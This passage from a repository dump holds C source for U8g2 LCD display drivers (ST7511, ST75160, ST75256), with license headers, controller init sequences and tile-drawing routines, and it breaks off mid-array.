    "content": "/*\n\n  u8x8_d_st7511.c\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2019, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n\n  20 May 2019:\n  https://github.com/olikraus/u8g2/issues/876\n  Probably HW Flip does not work \n\n  \n*/\n#include \"u8x8.h\"\n\n\n\n\nstatic const uint8_t u8x8_d_st7511_320x240_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x015, 0x0a5),\t\t/* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7511_320x240_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x014, 0x0a5),\t\t/* display off */\n  // maybe use sleep mode here, but it not clear whether sleep mode will reset all the settings\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7511_320x240_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CAAAA(0x24, 0x01, 0xa5, 0xa5, 0xa5),\t\t/* memory control directions */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7511_320x240_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CAAAA(0x24, 0x02, 0xa5, 0xa5, 0xa5),\t\t/* memory control directions */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\n\n/*=====================================================*/\n/* AV-Display: AVD-TM57QV-NW-001-B, issue 876 */\n\nstatic const u8x8_display_info_t u8x8_st7511_320x240_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 150,\t/* ST7511 Datasheet */\n  /* pre_chip_disable_wait_ns = */ 150,\t/* ST7511 Datasheet */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 1, \n  /* sda_setup_time_ns = */ 120,\t\t/* ST7511 Datasheet */\n  /* sck_pulse_width_ns = */ 150,\t/* ST7511 Datasheet */\n  /* sck_clock_hz = */ 3300000UL,\t/* ST7511 Datasheet: 300ns cycle */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 200,\t/* */\n  /* write_pulse_width_ns = */ 250,\t/* ST7511 Datasheet: 500ns */\n  /* tile_width = */ 40,\t\t/* width of 17*8=136 pixel */\n  /* tile_height = */ 30,\n  /* default_x_offset = */ 160,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 320,\n  /* pixel_height = */ 240\n};\n\nstatic const uint8_t u8x8_d_st7511_320x240_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_CA(0xae, 0xa5),\t\t\t\t\t\t/* SW Reset */\n  U8X8_CAAAA(0x61, 0x0f, 0x04, 0x02, 0xa5),\t/* all power on */\n  U8X8_CAAAA(0x62, 0x0a, 0x06, 0x0f, 0xa5),\t/* electronic volumne set 1 */\n  U8X8_CAAAA(0x63, 0x0f, 0x0f, 0xa5, 0xa5),\t\t/* electronic volumne set 2 */\n  U8X8_CAAAA(0x66, 0x00, 0xa5, 0xa5, 0xa5),\t\t/* electronic volumne set 2 */\n  U8X8_CA(0x12, 0xa5),\t\t\t\t\t\t/* SLeeP OUT */\n  U8X8_DLY(50),\n  // skiping display on here, deviation from https://github.com/olikraus/u8g2/issues/876\n  // will be called later in u8x8_d_st7511_320x240_powersave0_seq\n  U8X8_CAAAA(0x22, 0x00, 0xa5, 0xa5, 0xa5),\t\t/* monochrome display */\n  U8X8_CAAAA(0x24, 0x01, 0xa5, 0xa5, 0xa5),\t\t/* memory control directions */\n\n  U8X8_DLY(50),\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_st7511_avd_320x240(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint16_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7511_320x240_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st7511_320x240_init_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7511_320x240_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7511_320x240_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7511_320x240_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7511_320x240_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\t\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      // not sure how to implement this....\n      // u8x8_cad_StartTransfer(u8x8);\n      // u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n\n      // set page\n      u8x8_cad_SendCmd(u8x8, 0x025);\n      u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos));\n      u8x8_cad_SendArg(u8x8, 0x09f);\t\t// end page\n      u8x8_cad_SendArg(u8x8, 0x000);\t\t// frame 0\n      u8x8_cad_SendArg(u8x8, 0x0a5);\t\t\n    \n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 8;\n      x += u8x8->x_offset;\n    \n      // set column\n      u8x8_cad_SendCmd(u8x8, 0x026);\n      u8x8_cad_SendArg(u8x8, (x>>8) );\n      u8x8_cad_SendArg(u8x8, (x&255) );\n      u8x8_cad_SendArg(u8x8, 0x002);\n      u8x8_cad_SendArg(u8x8, 0x07f);\n\n      // start data transfer\n      u8x8_cad_SendCmd(u8x8, 0x02c);\n      u8x8_cad_SendArg(u8x8, 0x0a5 );\n\n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tc *= 8;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\t\n\twhile ( c > 128 )\n\t{\n\t  u8x8_cad_SendData(u8x8, 128, ptr);\t/* note: SendData can not handle more than 255 bytes */\n\t  c -= 128;\n\t  ptr += 128;\n\t}\n\tu8x8_cad_SendData(u8x8, c, ptr);\t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_st75160.c",
    "content": "/*\n\n  u8x8_d_st75160.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2021, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n  REQUESTED IN\n    https://github.com/olikraus/u8g2/issues/1642\n    \n  STATUS 13 Aug 2022: NOT TESTED, MAY NOT WORK..\n\n\n  0x030\text 00\n  0x031\text 01\n  0x038\text 10\n  0x039\text 11\n  \n  cad 011\n  \n  \n  code examples:\n  http://www.it610.com/article/2601023.htm\n  \n  normal mode:\n\t0x00c\tbit format\n  U8X8_CA( 0xbc, 0x00 ),\tdata scan dir \n  U8X8_A( 0xa6 ),\t\t\t\t\n  y: 0 offset\n  \n  flip mode:\n\t0x008\tbit format\n  U8X8_CA( 0xbc, 0x03 ),\tdata scan dir \n  U8X8_A( 0xa6 ),\t\t\t\t\n  y: 5 offset\n\t\n  \n*/\n\n\n#include \"u8x8.h\"\n\n\n/* not a real power down for the st75256... just a display off */\nstatic const uint8_t u8x8_d_st75256_256x128_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */  \n  U8X8_C( 0x94 ),\t\t\t\t/* sleep out */\n  U8X8_DLY(10),\n  U8X8_C( 0xaf ),\t\t\t\t/* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st75256_256x128_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0xae ),\t\t\t\t/* display off */\n  U8X8_C( 0x95 ),\t\t\t\t/* sleep in */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n/* marked as unused to avoid compiler warning, issue 1802 */\n#ifdef NOT_USED\nstatic const uint8_t u8x8_d_st75256_jlx256128_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CA( 0xbc, 0x00 ),\t\t\t/* data scan dir */\n  U8X8_A( 0xa6 ),\t\t\t\t/* ??? */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x00c ),\t\t\t\t/* data format LSB top */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st75256_jlx256128_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CA( 0xbc, 0x03 ),\t\t\t/* data scan dir */\n  U8X8_A( 0xa6 ),\t\t\t\t/* ??? */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x008 ),\t\t\t\t/* data format MSB top */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n#endif\n\nstatic const uint8_t u8x8_d_st75256_jlx172104_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CA( 0xbc, 0x02 ),\t\t\t/* data scan dir */\n  U8X8_A( 0xa6 ),\t\t\t\t/* ??? */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x00c ),\t\t\t\t/* data format LSB top */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st75256_jlx172104_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CA( 0xbc, 0x01 ),\t\t\t/* data scan dir */\n  U8X8_A( 0xa6 ),\t\t\t\t/* ??? */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x008 ),\t\t\t\t/* data format MSB top */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n/* marked as unused to avoid compiler warning, issue 1802 */\n#ifdef NOT_USED\nstatic const uint8_t u8x8_d_st75256_jlx256160_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CA( 0xbc, 0x00 ),\t\t\t/* data scan dir */\n  U8X8_A( 0xa6 ),\t\t\t\t/* ??? */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x00c ),\t\t\t\t/* data format LSB top */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st75256_jlx256160_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CA( 0xbc, 0x03 ),\t\t\t/* data scan dir */\n  U8X8_A( 0xa6 ),\t\t\t\t/* ??? */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x008 ),\t\t\t\t/* data format MSB top */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n#endif\n\n\n/*=============================================*/\n/* JM16096  https://github.com/olikraus/u8g2/issues/1642 */\n\nstatic const u8x8_display_info_t u8x8_st75160_jm16096_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 20,\n  /* reset_pulse_width_ms = */ 5, \t\n  /* post_reset_wait_ms = */ 5, \t\t/**/\n  /* sda_setup_time_ns = */ 20,\t\t/* */\n  /* sck_pulse_width_ns = */ 40,\t/*  */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\t/* 400KHz */\n  /* data_setup_time_ns = */ 15,\n  /* write_pulse_width_ns = */ 70,\t\n  /* tile_width = */ 20,\n  /* tile_height = */ 12,\n  /* default_x_offset = */ 0,\t/*  x offset in flipmode 0 */\n  /* flipmode_x_offset = */ 0,\t\t/* */\n  /* pixel_width = */ 160,\n  /* pixel_height = */ 96\n};\n\n\nstatic const uint8_t u8x8_d_st75160_jm16096_init_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_DLY(20),\n\n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x094 ),\t\t\t\t/* sleep out */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x0ae ),\t\t\t\t/* display off */\n\n  U8X8_C( 0x031 ),\t\t\t\t/* select 01 commands */\n  U8X8_CA( 0x0d7, 0x09f ),\t\t/* disable auto read */  \n\n  //U8X8_C( 0x031 ),\t\t\t\t/* select 01 commands */\n  U8X8_C( 0x032 ),\t\t\t\t/* analog circuit set */\n  U8X8_A( 0x000 ),\t\t\t\t/* code example: OSC Frequency adjustment */\n  U8X8_A( 0x001 ),\t\t\t\t/* Frequency on booster capacitors 1 = 6KHz? */\n  U8X8_A( 0x004 ),\t\t\t\t/* Bias: 1: 1/13, 2: 1/12, 3: 1/11, 4:1/10, 5:1/9 */\n    \n  //U8X8_C( 0x031 ),\t\t\t\t/* select 01 commands */\n  U8X8_C( 0x020 ),\t\t\t\t/* gray levels */\n  U8X8_A( 0x01 ),\n  U8X8_A( 0x03 ),\n  U8X8_A( 0x05 ),\n  U8X8_A( 0x07 ),\n  U8X8_A( 0x09),\n  U8X8_A( 0x0b ),\n  U8X8_A( 0x0d ),\n  U8X8_A( 0x10 ),\n  U8X8_A( 0x11 ),\n  U8X8_A( 0x13 ),\n  U8X8_A( 0x15 ),\n  U8X8_A( 0x17 ),\n  U8X8_A( 0x19 ),\n  U8X8_A( 0x1b ),\n  U8X8_A( 0x1d ),\n  U8X8_A( 0x1f ),\n \n  \n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CAA(0x75, 0, 0x4f),\t\t/* row range */\n  U8X8_CAA(0x15, 0, 239),\t\t/* col range */\n  \n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CA( 0xbc, 0x02 ),\t\t\t/* data scan dir */\n  U8X8_A( 0xa6 ),\t\t\t\t/* ??? */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x00c ),\t\t\t\t/* data format LSB top */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */ \n  U8X8_C( 0xca ),\t\t\t\t/* display control, 3 args follow  */\n  U8X8_A( 0x00 ),\t\t\t\t/* 0x00: no clock division, 0x04: devide clock */\n  U8X8_A( 95 ),\t\t\t\t/* 1/96 duty */\n  U8X8_A( 0x20 ),\t\t\t\t/* nline off */ \n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */ \n  U8X8_CA( 0x0f0, 0x010 ),\t\t/* monochrome mode  = 0x010*/\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CAA( 0x81, 0x18, 0x04 ),\t/* Volume control */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CA( 0x020, 0x00b ),\t\t/* Power control: Regulator, follower & booster on */\n  U8X8_DLY(100),\n\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nuint8_t u8x8_d_st75160_jm16096(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n\n  switch(msg)\n  {\n            case U8X8_MSG_DISPLAY_DRAW_TILE:\n              \n              u8x8_cad_StartTransfer(u8x8);\n              x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n              x *= 8;\n              \n              u8x8_cad_SendCmd(u8x8, 0x030 );\t/* select command set */\n              u8x8_cad_SendCmd(u8x8, 0x075 );\t/* row */\n\t      if ( u8x8->x_offset == 0 )\t\t/* 0 means flip mode 1 */\n\t\tu8x8_cad_SendArg(u8x8, 1+(((u8x8_tile_t *)arg_ptr)->y_pos));\n\t      else\n\t\tu8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos));\n              u8x8_cad_SendArg(u8x8, 0x04f);\n              //u8x8_cad_SendArg(u8x8, (((u8x8_tile_t *)arg_ptr)->y_pos));\n              u8x8_cad_SendCmd(u8x8, 0x015 );\t/* col */\n              u8x8_cad_SendArg(u8x8, x+u8x8->x_offset);\n              u8x8_cad_SendArg(u8x8, 255);\n              u8x8_cad_SendCmd(u8x8, 0x05c );\t\n            \n              \n              do\n              {\n                c = ((u8x8_tile_t *)arg_ptr)->cnt;\n                ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n                c *= 8;\n\n                if ( c + x > 160u )\n                {\n                        c = 160u;\n                        c -= x;\n                }\n                      \n                u8x8_cad_SendData(u8x8, c, ptr); \t\n                x += c;\n                arg_int--;\n              } while( arg_int > 0 );\n              \n              u8x8_cad_EndTransfer(u8x8);\n              return 1;\n        case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n            //u8x8_SetI2CAddress(u8x8, 0x078);\t\t/* lowest I2C adr of the ST75256 */\n\t    u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st75160_jm16096_display_info);\n            return 1;\n        case U8X8_MSG_DISPLAY_INIT:\n\t    u8x8_d_helper_display_init(u8x8);\n\t    u8x8_cad_SendSequence(u8x8, u8x8_d_st75160_jm16096_init_seq);    \n            return 1;\n        case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n              if ( arg_int == 0 )\n                u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave0_seq);\n              else\n                u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_256x128_powersave1_seq);\n\n              return 1;\n\tcase U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n\t    if ( arg_int == 0 )\n\t    {\n\t      u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx172104_flip0_seq);\n\t      u8x8->x_offset = u8x8->display_info->default_x_offset;\n\t    }\n\t    else\n\t    {\n\t      u8x8_cad_SendSequence(u8x8, u8x8_d_st75256_jlx172104_flip1_seq);\n\t      u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n\t    }\n\t    return 1;\n\t\t\n#ifdef U8X8_WITH_SET_CONTRAST\n        case U8X8_MSG_DISPLAY_SET_CONTRAST:\n\n              u8x8_cad_StartTransfer(u8x8);\n              \n              u8x8_cad_SendCmd(u8x8, 0x030 );\n              u8x8_cad_SendCmd(u8x8, 0x081 );  /* there are 9 bit for the volume control */\n              u8x8_cad_SendArg(u8x8, (arg_int & 0x1f)<<1 );\t/* lower 6 bit */\n              u8x8_cad_SendArg(u8x8, (arg_int>>5));\t\t/* upper 3 bit */\n              \n              u8x8_cad_EndTransfer(u8x8);\n              return 1;\n#endif\n  }\n  return 0;\n  \n  \n  \n}\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_st75256.c",
    "content": "/*\n\n  u8x8_d_st75256.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2017, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n  0x030\text 00\n  0x031\text 01\n  0x038\text 10\n  0x039\text 11\n  \n  cad 011\n  \n  \n  code examples:\n  http://www.it610.com/article/2601023.htm\n  \n  normal mode:\n\t0x00c\tbit format\n  U8X8_CA( 0xbc, 0x00 ),\tdata scan dir \n  U8X8_A( 0xa6 ),\t\t\t\t\n  y: 0 offset\n  \n  flip mode:\n\t0x008\tbit format\n  U8X8_CA( 0xbc, 0x03 ),\tdata scan dir \n  U8X8_A( 0xa6 ),\t\t\t\t\n  y: 5 offset\n\t\n  \n*/\n\n\n#include \"u8x8.h\"\n\n\n/* not a real power down for the st75256... just a display off */\nstatic const uint8_t u8x8_d_st75256_256x128_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */  \n  U8X8_C( 0x94 ),\t\t\t\t/* sleep out */\n  U8X8_DLY(10),\n  U8X8_C( 0xaf ),\t\t\t\t/* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st75256_256x128_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0xae ),\t\t\t\t/* display off */\n  U8X8_C( 0x95 ),\t\t\t\t/* sleep in */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st75256_jlx256128_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CA( 0xbc, 0x00 ),\t\t\t/* data scan dir */\n  U8X8_A( 0xa6 ),\t\t\t\t/* ??? */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x00c ),\t\t\t\t/* data format LSB top */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st75256_jlx256128_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CA( 0xbc, 0x03 ),\t\t\t/* data scan dir */\n  U8X8_A( 0xa6 ),\t\t\t\t/* ??? */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x008 ),\t\t\t\t/* data format MSB top */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st75256_jlx172104_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CA( 0xbc, 0x02 ),\t\t\t/* data scan dir */\n  U8X8_A( 0xa6 ),\t\t\t\t/* ??? */\n\n  //U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_C( 0x00c ),\t\t\t\t/* data format LSB top */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st75256_jlx172104_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C( 0x030 ),\t\t\t\t/* select 00 commands */\n  U8X8_CA( 0xbc, 0x01 ),\t\t\t/* data scan dir */\n  U8X8_A( 0xa6 